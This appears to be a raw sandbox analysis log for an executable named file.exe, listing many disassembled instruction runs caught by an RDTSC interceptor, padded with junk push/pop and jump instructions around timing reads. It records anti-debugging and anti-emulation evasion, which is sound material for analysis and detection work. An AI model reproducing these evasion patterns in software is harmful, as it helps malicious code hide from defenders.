Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3DC5D second address: F3DC6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEF0CF037BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3DC6D second address: F3DC77 instructions: 0x00000000 rdtsc 0x00000002 je 00007FEF0C869B76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F7D6 second address: F3F80D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEF0CF037C4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jne 00007FEF0CF037B6h 0x00000014 jmp 00007FEF0CF037BFh 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F80D second address: F3F813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F813 second address: F3F824 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jns 00007FEF0CF037B6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F55BF7 second address: F55C0E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 js 00007FEF0C869B76h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d jns 00007FEF0C869B76h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F595AF second address: F595B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59711 second address: F59723 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jns 00007FEF0C869B76h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59723 second address: F59729 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59A03 second address: F59A0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59A0B second address: F59A4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 jg 00007FEF0CF037B6h 0x0000000f popad 0x00000010 ja 00007FEF0CF037BEh 0x00000016 push esi 0x00000017 pop esi 0x00000018 jp 00007FEF0CF037B6h 0x0000001e pop edx 0x0000001f pop eax 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FEF0CF037C8h 0x00000028 js 00007FEF0CF037B6h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59A4C second address: F59A50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59A50 second address: F59A6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEF0CF037BEh 0x0000000d jne 00007FEF0CF037B6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59A6C second address: F59A70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A222 second address: F5A22E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007FEF0CF037B6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A22E second address: F5A27E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0C869B7Ah 0x00000007 jmp 00007FEF0C869B81h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jnl 00007FEF0C869B7Ah 0x00000014 pop edx 0x00000015 pop eax 0x00000016 jo 00007FEF0C869B9Fh 0x0000001c jmp 00007FEF0C869B87h 0x00000021 je 00007FEF0C869B82h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CF3B second address: F5CF52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEF0CF037C2h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CF52 second address: F5CF5C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEF0C869B7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D231 second address: F5D274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp], eax 0x00000007 cld 0x00000008 push 00000004h 0x0000000a push ebx 0x0000000b mov edx, ecx 0x0000000d pop edx 0x0000000e call 00007FEF0CF037B9h 0x00000013 push edi 0x00000014 pushad 0x00000015 jo 00007FEF0CF037B6h 0x0000001b push edx 0x0000001c pop edx 0x0000001d popad 0x0000001e pop edi 0x0000001f push eax 0x00000020 jmp 00007FEF0CF037C6h 0x00000025 mov eax, dword ptr [esp+04h] 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D274 second address: F5D278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D4BB second address: F5D4BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D4BF second address: F5D4FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 mov edx, edi 0x0000000a push dword ptr [ebp+122D1D3Eh] 0x00000010 call 00007FEF0C869B7Ch 0x00000015 mov dword ptr [ebp+122DB7BAh], ebx 0x0000001b pop edx 0x0000001c sub dword ptr [ebp+122D3228h], esi 0x00000022 call 00007FEF0C869B79h 0x00000027 jo 00007FEF0C869B7Eh 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D4FA second address: F5D50F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEF0CF037BDh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D50F second address: F5D53D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FEF0C869B88h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jo 00007FEF0C869B76h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D53D second address: F5D547 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEF0CF037BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D547 second address: F5D577 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 jng 00007FEF0C869B8Eh 0x0000000e jmp 00007FEF0C869B88h 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push edi 0x0000001c pop edi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D577 second address: F5D57B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D57B second address: F5D581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D581 second address: F5D587 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00348 second address: 4A0034C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0034C second address: 4A00350 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00350 second address: 4A00356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00356 second address: 4A0035C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0035C second address: 4A00360 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00360 second address: 4A003AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FEF0CF037BAh 0x0000000e push eax 0x0000000f pushad 0x00000010 mov dx, 1704h 0x00000014 mov dl, 9Fh 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 jmp 00007FEF0CF037C4h 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FEF0CF037C7h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A003AC second address: 4A003B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A003B1 second address: 4A003D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov edx, dword ptr [ebp+0Ch] 0x0000000a pushad 0x0000000b pushad 0x0000000c call 00007FEF0CF037BAh 0x00000011 pop esi 0x00000012 mov ax, di 0x00000015 popad 0x00000016 movsx edx, ax 0x00000019 popad 0x0000001a mov ecx, dword ptr [ebp+08h] 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A003D8 second address: 4A00407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FEF0C869B81h 0x0000000a add ecx, 720FC666h 0x00000010 jmp 00007FEF0C869B81h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00427 second address: 4A0042B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0042B second address: 4A00431 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00431 second address: 4A00437 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00437 second address: 4A0043B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A304E9 second address: 4A304ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A304ED second address: 4A304F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A304F3 second address: 4A30522 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c movsx ebx, si 0x0000000f pop ecx 0x00000010 popad 0x00000011 push eax 0x00000012 jmp 00007FEF0CF037BEh 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30522 second address: 4A30528 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30528 second address: 4A305A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEF0CF037C2h 0x00000009 and esi, 54454F58h 0x0000000f jmp 00007FEF0CF037BBh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FEF0CF037C8h 0x0000001b add esi, 4F1B59B8h 0x00000021 jmp 00007FEF0CF037BBh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a mov ebp, esp 0x0000002c jmp 00007FEF0CF037C6h 0x00000031 xchg eax, ecx 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 call 00007FEF0CF037BCh 0x0000003a pop eax 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A305A7 second address: 4A30647 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 movsx edx, cx 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007FEF0C869B89h 0x00000010 xchg eax, ecx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FEF0C869B7Ch 0x00000018 adc si, 98D8h 0x0000001d jmp 00007FEF0C869B7Bh 0x00000022 popfd 0x00000023 push esi 0x00000024 mov bx, EFFAh 0x00000028 pop ebx 0x00000029 popad 0x0000002a xchg eax, esi 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007FEF0C869B7Ch 0x00000032 adc ecx, 72326338h 0x00000038 jmp 00007FEF0C869B7Bh 0x0000003d popfd 0x0000003e movzx eax, bx 0x00000041 popad 0x00000042 push eax 0x00000043 jmp 00007FEF0C869B82h 0x00000048 xchg eax, esi 0x00000049 pushad 0x0000004a pushad 0x0000004b jmp 00007FEF0C869B7Ch 0x00000050 mov dh, ch 0x00000052 popad 0x00000053 popad 0x00000054 lea eax, dword ptr [ebp-04h] 0x00000057 pushad 0x00000058 mov esi, edx 0x0000005a push eax 0x0000005b push edx 0x0000005c mov ecx, edi 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30647 second address: 4A30662 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov cx, bx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30662 second address: 4A30667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30667 second address: 4A30684 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30684 second address: 4A30688 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30688 second address: 4A306A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A306A4 second address: 4A306AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A306AA second address: 4A306AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30702 second address: 4A3071A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEF0C869B84h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A307B4 second address: 4A307B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A307B8 second address: 4A307BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A307BE second address: 4A20064 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007FEF0CF037C0h 0x0000000f leave 0x00000010 jmp 00007FEF0CF037C0h 0x00000015 retn 0004h 0x00000018 nop 0x00000019 cmp eax, 00000000h 0x0000001c setne al 0x0000001f xor ebx, ebx 0x00000021 test al, 01h 0x00000023 jne 00007FEF0CF037B7h 0x00000025 xor eax, eax 0x00000027 sub esp, 08h 0x0000002a mov dword ptr [esp], 00000000h 0x00000031 mov dword ptr [esp+04h], 00000000h 0x00000039 call 00007FEF10C7CBF3h 0x0000003e mov edi, edi 0x00000040 pushad 0x00000041 jmp 00007FEF0CF037C4h 0x00000046 pushfd 0x00000047 jmp 00007FEF0CF037C2h 0x0000004c or si, 6188h 0x00000051 jmp 00007FEF0CF037BBh 0x00000056 popfd 0x00000057 popad 0x00000058 xchg eax, ebp 0x00000059 jmp 00007FEF0CF037C6h 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007FEF0CF037BEh 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20064 second address: 4A2006A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A2006A second address: 4A20161 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d jmp 00007FEF0CF037BCh 0x00000012 mov edi, eax 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 jmp 00007FEF0CF037BCh 0x0000001c push FFFFFFFEh 0x0000001e pushad 0x0000001f mov eax, 41A6B6FDh 0x00000024 mov di, si 0x00000027 popad 0x00000028 call 00007FEF0CF037B9h 0x0000002d jmp 00007FEF0CF037C4h 0x00000032 push eax 0x00000033 jmp 00007FEF0CF037BBh 0x00000038 mov eax, dword ptr [esp+04h] 0x0000003c pushad 0x0000003d mov esi, edi 0x0000003f movsx edx, si 0x00000042 popad 0x00000043 mov eax, dword ptr [eax] 0x00000045 jmp 00007FEF0CF037BDh 0x0000004a mov dword ptr [esp+04h], eax 0x0000004e jmp 00007FEF0CF037C1h 0x00000053 pop eax 0x00000054 jmp 00007FEF0CF037BEh 0x00000059 call 00007FEF0CF037B9h 0x0000005e jmp 00007FEF0CF037C0h 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 mov bh, cl 0x00000069 pushfd 0x0000006a jmp 00007FEF0CF037C9h 0x0000006f add esi, 67767796h 0x00000075 jmp 00007FEF0CF037C1h 0x0000007a popfd 0x0000007b popad 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20161 second address: 4A201BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0C869B81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007FEF0C869B81h 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 pushfd 0x0000001a jmp 00007FEF0C869B88h 0x0000001f sbb ax, 2948h 0x00000024 jmp 00007FEF0C869B7Bh 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A201BD second address: 4A201C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A201C3 second address: 4A201DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0C869B7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 mov ah, dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A201DD second address: 4A2024C instructions: 0x00000000 rdtsc 0x00000002 mov dx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 mov esi, 0C65229Fh 0x0000000d pushfd 0x0000000e jmp 00007FEF0CF037C4h 0x00000013 sub ax, 5E08h 0x00000018 jmp 00007FEF0CF037BBh 0x0000001d popfd 0x0000001e popad 0x0000001f popad 0x00000020 pop eax 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007FEF0CF037C4h 0x00000028 add ecx, 75038068h 0x0000002e jmp 00007FEF0CF037BBh 0x00000033 popfd 0x00000034 mov ax, 065Fh 0x00000038 popad 0x00000039 mov eax, dword ptr fs:[00000000h] 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 mov al, bh 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A2024C second address: 4A2029E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEF0C869B7Bh 0x00000009 sbb esi, 33AB345Eh 0x0000000f jmp 00007FEF0C869B89h 0x00000014 popfd 0x00000015 push ecx 0x00000016 pop ebx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a nop 0x0000001b jmp 00007FEF0C869B7Ah 0x00000020 push eax 0x00000021 jmp 00007FEF0C869B7Bh 0x00000026 nop 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A2029E second address: 4A202A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A202A4 second address: 4A202DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 call 00007FEF0C869B84h 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e sub esp, 18h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FEF0C869B83h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A202DB second address: 4A202F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A202F8 second address: 4A20386 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007FEF0C869B83h 0x0000000b sub ecx, 25AE2F3Eh 0x00000011 jmp 00007FEF0C869B89h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebx 0x0000001b jmp 00007FEF0C869B7Eh 0x00000020 push eax 0x00000021 jmp 00007FEF0C869B7Bh 0x00000026 xchg eax, ebx 0x00000027 jmp 00007FEF0C869B86h 0x0000002c xchg eax, esi 0x0000002d pushad 0x0000002e call 00007FEF0C869B7Eh 0x00000033 movzx ecx, bx 0x00000036 pop edi 0x00000037 pushad 0x00000038 push edx 0x00000039 pop eax 0x0000003a popad 0x0000003b popad 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20386 second address: 4A2038A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A2038A second address: 4A20390 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20390 second address: 4A20396 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20396 second address: 4A2039A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
